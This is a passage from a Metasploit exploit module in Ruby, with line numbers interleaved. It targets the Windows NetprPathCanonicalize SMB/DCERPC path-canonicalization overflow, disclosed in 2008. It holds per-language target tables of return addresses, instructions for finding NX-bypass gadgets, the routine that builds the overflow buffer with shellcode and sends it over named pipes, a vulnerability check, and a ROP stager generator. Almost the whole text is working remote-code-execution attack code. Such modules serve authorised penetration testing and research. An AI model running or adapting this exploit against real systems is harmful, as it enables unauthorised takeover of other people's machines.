              'JmpESP' => 0x7c97a01b,  # jmp ESP @NTDLL.DLL
871
              'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL
872
              'Scratch' => 0x00020408,
873
            }
874
          ],
875

876
          # Brett Moore's crafty NX bypass for 2003 SP2
877
          [
878
            'Windows 2003 SP2 Italian (NX)',
879
            {
880
              'RetDec' => 0x7c97beb8,  # dec ESI, ret @NTDLL.DLL
881
              'RetPop' => 0x7cb2e84e,  # push ESI, pop EBP, ret @SHELL32.DLL
882
              'JmpESP' => 0x7c97a01b,  # jmp ESP @NTDLL.DLL
883
              'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL
884
              'Scratch' => 0x00020408,
885
            }
886
          ],
887

888
          # Brett Moore's crafty NX bypass for 2003 SP2
889
          [
890
            'Windows 2003 SP2 Russian (NX)',
891
            {
892
              'RetDec' => 0x7c97beb8,  # dec ESI, ret @NTDLL.DLL
893
              'RetPop' => 0x7cb2e84e,  # push ESI, pop EBP, ret @SHELL32.DLL
894
              'JmpESP' => 0x7c97a01b,  # jmp ESP @NTDLL.DLL
895
              'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL
896
              'Scratch' => 0x00020408,
897
            }
898
          ],
899

900
          # Brett Moore's crafty NX bypass for 2003 SP2
901
          [
902
            'Windows 2003 SP2 Swedish (NX)',
903
            {
904
              'RetDec' => 0x7c97beb8,  # dec ESI, ret @NTDLL.DLL
905
              'RetPop' => 0x7cb2e84e,  # push ESI, pop EBP, ret @SHELL32.DLL
906
              'JmpESP' => 0x7c97a01b,  # jmp ESP @NTDLL.DLL
907
              'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL
908
              'Scratch' => 0x00020408,
909
            }
910
          ],
911

912
          # Brett Moore's crafty NX bypass for 2003 SP2
913
          [
914
            'Windows 2003 SP2 Turkish (NX)',
915
            {
916
              'RetDec' => 0x7c96beb8,  # dec ESI, ret @NTDLL.DLL
917
              'RetPop' => 0x7cb1e84e,  # push ESI, pop EBP, ret @SHELL32.DLL
918
              'JmpESP' => 0x7c96a01b,  # jmp ESP @NTDLL.DLL
919
              'DisableNX' => 0x7c93f517, # NX disable @NTDLL.DLL
920
              'Scratch' => 0x00020408,
921
            }
922
          ],
923

924
          #
925
          # Missing Targets
926
          # Key:   T=TODO   ?=UNKNOWN   U=UNRELIABLE
927
          #
928
          # [?] Windows Vista SP0 - Not tested yet
929
          # [?] Windows Vista SP1 - Not tested yet
930
          #
931
        ],
932

933
        'DisclosureDate' => '2008-10-28'
934
      )
935
    )
936

937
    register_options(
938
      [
939
        OptString.new('SMBPIPE', [true, 'The pipe name to use (BROWSER, SRVSVC)', 'BROWSER']),
940
      ]
941
    )
942

943
    deregister_options('SMB::ProtocolVersion')
944
  end
945

946
  #
947
  #
948
  #   *** WINDOWS XP SP2/SP3 TARGETS ***
949
  #
950
  #
951
  #   This exploit bypasses NX/NX by returning to a function call inside acgenral.dll that disables NX
952
  #   for the process and then returns back to a call ESI instruction. These addresses are different
953
  #   between operating systems, service packs, and language packs, but the steps below can be used to
954
  #   add new targets.
955
  #
956
  #
957
  #   If the target system does not have NX/NX, just place a "call ESI" return into both the Ret	and
958
  #   DisableNX elements of the target hash.
959
  #
960
  #   If the target system does have NX/NX, obtain a copy of the acgenral.dll from that system.
961
  #   First obtain the value for the Ret element of the hash with the following command:
962
  #
963
  #   $ msfpescan -j esi acgenral.dll
964
  #
965
  #   Pick whatever address you like, just make sure it does not contain 00 0a 0d 5c 2f or 2e.
966
  #
967
  #   Next, find the location of the function we use to disable NX. Use the following command:
968
  #
969
  #   $ msfpescan -r "\x6A\x04\x8D\x45\x08\x50\x6A\x22\x6A\xFF" acgenral.dll
970
  #
971
  #   This address should be placed into the DisableNX element of the target hash.
972
  #
973
  #   The Scratch element of 0x00020408 should work on all versions of Windows
974
  #
975
  #   The actual function we use to disable NX looks like this:
976
  #
977
  #     push    4
978
  #     lea     eax, [ebp+arg_0]
979
  #     push    eax
980
  #     push    22h
981
  #     push    0FFFFFFFFh
982
  #     mov     [ebp+arg_0], 2
983
  #     call    ds:__imp__NtSetInformationProcess@16
984
  #
985
  #
986
  #   *** WINDOWS XP NON-NX TARGETS ***
987
  #
988
  #
989
  #   Instead of bypassing NX, just return directly to a "JMP ESI", which takes us to the short
990
  #   jump, and finally the shellcode.
991
  #
992
  #
993
  #   *** WINDOWS 2003 SP2 TARGETS ***
994
  #
995
  #
996
  #   There are only two possible ways to return to NtSetInformationProcess on Windows 2003 SP2,
997
  #   both of these are inside NTDLL.DLL and use a return method that is not directly compatible
998
  #   with our call stack. To solve this, Brett Moore figured out a multi-step return call chain
999
  #   that eventually leads to the NX bypass function.
1000
  #
1001
  #
1002
  #   *** WINDOWS 2000 TARGETS ***
1003
  #
1004
  #
1005
  #   No NX to bypass, just return directly to a "JMP EDX", which takes us to the short
1006
  #   jump, and finally the shellcode.
1007
  #
1008
  #
1009
  #   *** WINDOWS VISTA TARGETS ***
1010
  #
1011
  #   Currently untested, will involve ASLR and NX, should be fun.
1012
  #
1013
  #
1014
  #   *** NetprPathCanonicalize IDL ***
1015
  #
1016
  #
1017
  #   NET_API_STATUS NetprPathCanonicalize(
1018
  #   [in, string, unique] SRVSVC_HANDLE ServerName,
1019
  #   [in, string] WCHAR* PathName,
1020
  #   [out, size_is(OutbufLen)] unsigned char* Outbuf,
1021
  #   [in, range(0,64000)] DWORD OutbufLen,
1022
  #   [in, string] WCHAR* Prefix,
1023
  #   [in, out] DWORD* PathType,
1024
  #   [in] DWORD Flags
1025
  #   );
1026
  #
1027

1028
  def exploit
1029
    begin
1030
      connect(versions: [1])
1031
      smb_login
1032
    rescue Rex::Proto::SMB::Exceptions::LoginError => e
1033
      if e.message =~ /Connection reset/
1034
        print_error('Connection reset during login')
1035
        print_error('This most likely means a previous exploit attempt caused the service to crash')
1036
        return
1037
      else
1038
        raise e
1039
      end
1040
    end
1041

1042
    # Use a copy of the target
1043
    mytarget = target
1044

1045
    if target['auto']
1046

1047
      mytarget = nil
1048

1049
      print_status('Automatically detecting the target...')
1050
      fprint = smb_fingerprint
1051

1052
      print_status("Fingerprint: #{fprint['os']} - #{fprint['sp']} - lang:#{fprint['lang']}")
1053

1054
      # Bail early on unknown OS
1055
      if (fprint['os'] == 'Unknown')
1056
        fail_with(Failure::NoTarget, 'No matching target')
1057
      end
1058

1059
      # Windows 2000 is mostly universal
1060
      if (fprint['os'] == 'Windows 2000')
1061
        mytarget = targets[1]
1062
      end
1063

1064
      # Windows XP SP0/SP1 is mostly universal
1065
      if fprint['os'] == 'Windows XP' and fprint['sp'] == 'Service Pack 0 / 1'
1066
        mytarget = targets[2]
1067
      end
1068

1069
      # Windows 2003 SP0 is mostly universal
1070
      if fprint['os'] == 'Windows 2003' and fprint['sp'].empty?
1071
        mytarget = targets[3]
1072
      end
1073

1074
      # Windows 2003 R2 is treated the same as 2003
1075
      if (fprint['os'] == 'Windows 2003 R2')
1076
        fprint['os'] = 'Windows 2003'
1077
      end
1078

1079
      # Service Pack match must be exact
1080
      if (not mytarget) and fprint['sp'].index('+')
1081
        print_error('Could not determine the exact service pack')
1082
        print_error("Auto-targeting failed, use 'show targets' to manually select one")
1083
        disconnect
1084
        return
1085
      end
1086

1087
      # Language Pack match must be exact or we default to English
1088
      if (not mytarget) and fprint['lang'] == 'Unknown'
1089
        print_status('We could not detect the language pack, defaulting to English')
1090
        fprint['lang'] = 'English'
1091
      end
1092

1093
      # Normalize the service pack string
1094
      fprint['sp'].gsub!(/Service Pack\s+/, 'SP')
1095

1096
      unless mytarget
1097
        targets.each do |t|
1098
          # Prefer AlwaysOn NX over NX, and NX over non-NX
1099
          if t.name =~ /#{fprint['os']} #{fprint['sp']} #{fprint['lang']} \(AlwaysOn NX\)/
1100
            mytarget = t
1101
            break
1102
          end
1103
          if t.name =~ /#{fprint['os']} #{fprint['sp']} #{fprint['lang']} \(NX\)/
1104
            mytarget = t
1105
            break
1106
          end
1107
        end
1108
      end
1109

1110
      unless mytarget
1111
        fail_with(Failure::NoTarget, 'No matching target')
1112
      end
1113

1114
      print_status("Selected Target: #{mytarget.name}")
1115
    end
1116

1117
    #
1118
    # Build the malicious path name
1119
    #
1120

1121
    padder = [*('A'..'Z')]
1122
    pad = 'A'
1123
    while pad.length < 7
1124
      c = padder[rand(padder.length)]
1125
      next if pad.index(c)
1126

1127
      pad += c
1128
    end
1129

1130
    prefix = '\\'
1131
    path = ''
1132
    server = Rex::Text.rand_text_alpha(rand(8) + 1).upcase
1133

1134
    #
1135
    # Windows 2003 SP2 (NX) targets
1136
    #
1137
    if mytarget['RetDec']
1138

1139
      jumper = Rex::Text.rand_text_alpha(70).upcase
1140
      jumper[0, 4] = [mytarget['RetDec']].pack('V') # one more to Align and make room
1141

1142
      jumper[4, 4] = [mytarget['RetDec']].pack('V') # 4 more for space
1143
      jumper[8, 4] = [mytarget['RetDec']].pack('V')
1144
      jumper[12, 4] = [mytarget['RetDec']].pack('V')
1145
      jumper[16, 4] = [mytarget['RetDec']].pack('V')
1146

1147
      jumper[20, 4] = [mytarget['RetPop']].pack('V') # pop to EBP
1148
      jumper[24, 4] = [mytarget['DisableNX']].pack('V')
1149

1150
      jumper[56, 4] = [mytarget['JmpESP']].pack('V')
1151
      jumper[60, 4] = [mytarget['JmpESP']].pack('V')
1152
      jumper[64, 2] = "\xeb\x02"                    # our jump
1153
      jumper[68, 2] = "\xeb\x62"                    # original
1154

1155
      path =
1156
        Rex::Text.to_unicode('\\') +
1157

1158
        # This buffer is removed from the front
1159
        Rex::Text.rand_text_alpha(100) +
1160

1161
        # Shellcode
1162
        payload.encoded +
1163

1164
        # Relative path to trigger the bug
1165
        Rex::Text.to_unicode('\\..\\..\\') +
1166

1167
        # Extra padding
1168
        Rex::Text.to_unicode(pad) +
1169

1170
        # Writable memory location (static)
1171
        [mytarget['Scratch']].pack('V') + # EBP
1172

1173
        # Return to code which disables NX (or just the return)
1174
        [mytarget['RetDec']].pack('V') +
1175

1176
        # Padding with embedded jump
1177
        jumper +
1178

1179
        # NULL termination
1180
        "\x00" * 2
1181

1182
    #
1183
    # Windows XP SP2/SP3 ROP Stager targets
1184
    #
1185
    elsif mytarget['UseROP']
1186

1187
      rop = generate_rop(mytarget['UseROP'])
1188

1189
      path =
1190
        Rex::Text.to_unicode('\\') +
1191

1192
        # This buffer is removed from the front
1193
        Rex::Text.rand_text_alpha(100) +
1194

1195
        # Shellcode
1196
        payload.encoded +
1197

1198
        # Relative path to trigger the bug
1199
        Rex::Text.to_unicode('\\..\\..\\') +
1200

1201
        # Extra padding
1202
        Rex::Text.to_unicode(pad) +
1203

1204
        # ROP Stager
1205
        rop +
1206

1207
        # Padding (skipped)
1208
        Rex::Text.rand_text_alpha(2) +
1209

1210
        # NULL termination
1211
        "\x00" * 2
1212

1213
    #
1214
    # Windows 2000, XP (NX), and 2003 (NO NX) targets
1215
    #
1216
    else
1217

1218
      jumper = Rex::Text.rand_text_alpha(70).upcase
1219
      jumper[4, 4] = [mytarget.ret].pack('V')
1220
      jumper[50, 8] = make_nops(8)
1221
      jumper[58, 2] = "\xeb\x62"
1222

1223
      path =
1224
        Rex::Text.to_unicode('\\') +
1225

1226
        # This buffer is removed from the front
1227
        Rex::Text.rand_text_alpha(100) +
1228

1229
        # Shellcode
1230
        payload.encoded +
1231

1232
        # Relative path to trigger the bug
1233
        Rex::Text.to_unicode('\\..\\..\\') +
1234

1235
        # Extra padding
1236
        Rex::Text.to_unicode(pad) +
1237

1238
        # Writable memory location (static)
1239
        [mytarget['Scratch']].pack('V') + # EBP
1240

1241
        # Return to code which disables NX (or just the return)
1242
        [mytarget['DisableNX'] || mytarget.ret].pack('V') +
1243

1244
        # Padding with embedded jump
1245
        jumper +
1246

1247
        # NULL termination
1248
        "\x00" * 2
1249

1250
    end
1251

1252
    handle = dcerpc_handle(
1253
      '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
1254
      'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
1255
    )
1256

1257
    dcerpc_bind(handle)
1258

1259
    stub =
1260
      NDR.uwstring(server) +
1261
      NDR.UnicodeConformantVaryingStringPreBuilt(path) +
1262
      NDR.long(rand(1024)) +
1263
      NDR.wstring(prefix) +
1264
      NDR.long(4097) +
1265
      NDR.long(0)
1266

1267
    # NOTE: we don't bother waiting for a response here...
1268
    print_status('Attempting to trigger the vulnerability...')
1269
    dcerpc.call(0x1f, stub, false)
1270

1271
    # Cleanup
1272
    handler
1273
    disconnect
1274
  end
1275

1276
  def check
1277
    begin
1278
      connect(versions: [1])
1279
      smb_login
1280
    rescue Rex::ConnectionError => e
1281
      vprint_error("Connection failed: #{e.class}: #{e}")
1282
      return Msf::Exploit::CheckCode::Unknown
1283
    rescue Rex::Proto::SMB::Exceptions::LoginError => e
1284
      if e.message =~ /Connection reset/
1285
        vprint_error('Connection reset during login')
1286
        vprint_error('This most likely means a previous exploit attempt caused the service to crash')
1287
        return Msf::Exploit::CheckCode::Unknown
1288
      else
1289
        raise e
1290
      end
1291
    end
1292

1293
    #
1294
    # Build the malicious path name
1295
    # 5b878ae7 "db @eax;g"
1296
    prefix = '\\'
1297
    path =
1298
      "\x00\\\x00/" * 0x10 +
1299
      Rex::Text.to_unicode('\\') +
1300
      Rex::Text.to_unicode('R7') +
1301
      Rex::Text.to_unicode('\\..\\..\\') +
1302
      Rex::Text.to_unicode('R7') +
1303
      "\x00" * 2
1304

1305
    server = Rex::Text.rand_text_alpha(rand(8) + 1).upcase
1306

1307
    handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
1308
                           'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
1309

1310
    begin
1311
      # Samba doesn't have this handle and returns an ErrorCode
1312
      dcerpc_bind(handle)
1313
    rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
1314
      vprint_error("SMB error: #{e.message}")
1315
      return Msf::Exploit::CheckCode::Safe
1316
    end
1317

1318
    vprint_status('Verifying vulnerable status... (path: 0x%08x)' % path.length)
1319

1320
    stub =
1321
      NDR.uwstring(server) +
1322
      NDR.UnicodeConformantVaryingStringPreBuilt(path) +
1323
      NDR.long(8) +
1324
      NDR.wstring(prefix) +
1325
      NDR.long(4097) +
1326
      NDR.long(0)
1327

1328
    resp = dcerpc.call(0x1f, stub)
1329
    error = resp[4, 4].unpack('V')[0]
1330

1331
    # Cleanup
1332
    simple.client.close
1333
    simple.client.tree_disconnect
1334
    disconnect
1335

1336
    if (error == 0x0052005c) # \R :)
1337
      return Msf::Exploit::CheckCode::Vulnerable
1338
    else
1339
      vprint_error('System is not vulnerable (status: 0x%08x)' % error) if error
1340
      return Msf::Exploit::CheckCode::Safe
1341
    end
1342
  end
1343

1344
  def generate_rop(version)
1345
    free_byte = "\x90"
1346
    # free_byte = "\xcc"
1347

1348
    # create a few small gadgets
1349
    #  <free byte>; pop edx; pop ecx; ret
1350
    gadget1 = free_byte + "\x5a\x59\xc3"
1351
    #  mov edi, eax; add edi,0xc; push 0x40; pop ecx; rep movsd
1352
    gadget2 = free_byte + "\x89\xc7" + "\x83\xc7\x0c" + "\x6a\x7f" + "\x59" + "\xf2\xa5" + free_byte
1353
    #  <must complete \x00 two byte opcode>; <free_byte>; jmp $+0x5c
1354
    gadget3 = "\xcc" + free_byte + "\xeb\x5a"
1355

1356
    # gadget2:
1357
    #  get eax into edi
1358
    #  adjust edi
1359
    #  get 0x7f in ecx
1360
    #  copy the data
1361
    #  jmp to it
1362
    #
1363
    dws = gadget2.unpack('V*')
1364

1365
    ##
1366
    # Create the ROP stager, pfew.. Props to corelanc0d3r!
1367
    # This was no easy task due to space limitations :-/
1368
    # -jduck
1369
    ##
1370
    module_name = 'ACGENRAL.DLL'
1371
    module_base = 0x6f880000
1372

1373
    rvasets = {}
1374
    # XP SP2
1375
    rvasets['5.1.2600.2180'] = {
1376
      # call [imp_HeapCreate] / mov [0x6f8b8024], eax / ret
1377
      'call_HeapCreate' => 0x21064,
1378
      'add eax, ebp / mov ecx, 0x59ffffa8 / ret' => 0x2e546,
1379
      'pop ecx / ret' => 0x2e546 + 6,
1380
      'mov [eax], ecx / ret' => 0xd182,
1381
      'jmp eax' => 0x19b85,
1382
      'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret' => 0x10976,
1383
      'mov [eax+0x10], ecx / ret' => 0x10976 + 6,
1384
      'add eax, 8 / ret' => 0x29a14
1385
    }
1386

1387
    # XP SP3
1388
    rvasets['5.1.2600.5512'] = {
1389
      # call [imp_HeapCreate] / mov [0x6f8b02c], eax / ret
1390
      'call_HeapCreate' => 0x21286,
1391
      'add eax, ebp / mov ecx, 0x59ffffa8 / ret' => 0x2e796,
1392
      'pop ecx / ret' => 0x2e796 + 6,
1393
      'mov [eax], ecx / ret' => 0xd296,
1394
      'jmp eax' => 0x19c6f,
1395
      'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret' => 0x10a56,
1396
      'mov [eax+0x10], ecx / ret' => 0x10a56 + 6,
1397
      'add eax, 8 / ret' => 0x29c64
1398
    }
1399

1400
    # HeapCreate ROP Stager from ACGENRAL.DLL 5.1.2600.2180
1401
    rop = [
1402
      # prime ebp (adjustment distance)
1403
      0x00018000,
1404

1405
      # get some RWX memory via HeapCreate
1406
      'call_HeapCreate',
1407
      0x01040110, # flOptions (gets & with 0x40005)
1408
      0x01010101,
1409
      0x01010101,
1410

1411
      # adjust the returned pointer
1412
      'add eax, ebp / mov ecx, 0x59ffffa8 / ret',
1413

1414
      # setup gadget1
1415
      'pop ecx / ret',
1416
      gadget1.unpack('V').first,
1417
      'mov [eax], ecx / ret',
1418

1419
      # execute gadget1
1420
      'jmp eax',
1421

1422
      # setup gadget2 (via gadget1)
1423
      dws[0],
1424
      dws[1],
1425
      'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret',
1426

1427
      # setup part3 of gadget2
1428
      'pop ecx / ret',
1429
      dws[2],
1430
      'mov [eax+0x10], ecx / ret',
1431

1432
      # execute gadget2
1433
      'add eax, 8 / ret',
1434
      'jmp eax',
1435

1436
      # gadget3 gets executed after gadget2 (luckily)
1437
      gadget3.unpack('V').first
1438
    ]
1439

1440
    # convert the meta rop into concrete bytes
1441
    rvas = rvasets[version]
1442

1443
    rop.map! { |e|
1444
      if e.kind_of? String
1445
        # Meta-replace (RVA)
1446
        fail_with(Failure::BadConfig, "Unable to locate key: \"#{e}\"") unless rvas[e]
1447
        module_base + rvas[e]
1448

1449
      elsif e == :unused
1450
        # Randomize
1451
        rand_text(4).unpack('V').first
1452

1453
      else
1454
        # Literal
1455
        e
1456
      end
1457
    }
1458

1459
    ret = rop.pack('V*')
1460

1461
    # check badchars?
1462
    # idx = Rex::Text.badchar_index(ret, payload_badchars)
1463

1464
    ret
1465
  end
1466
end
1467

1468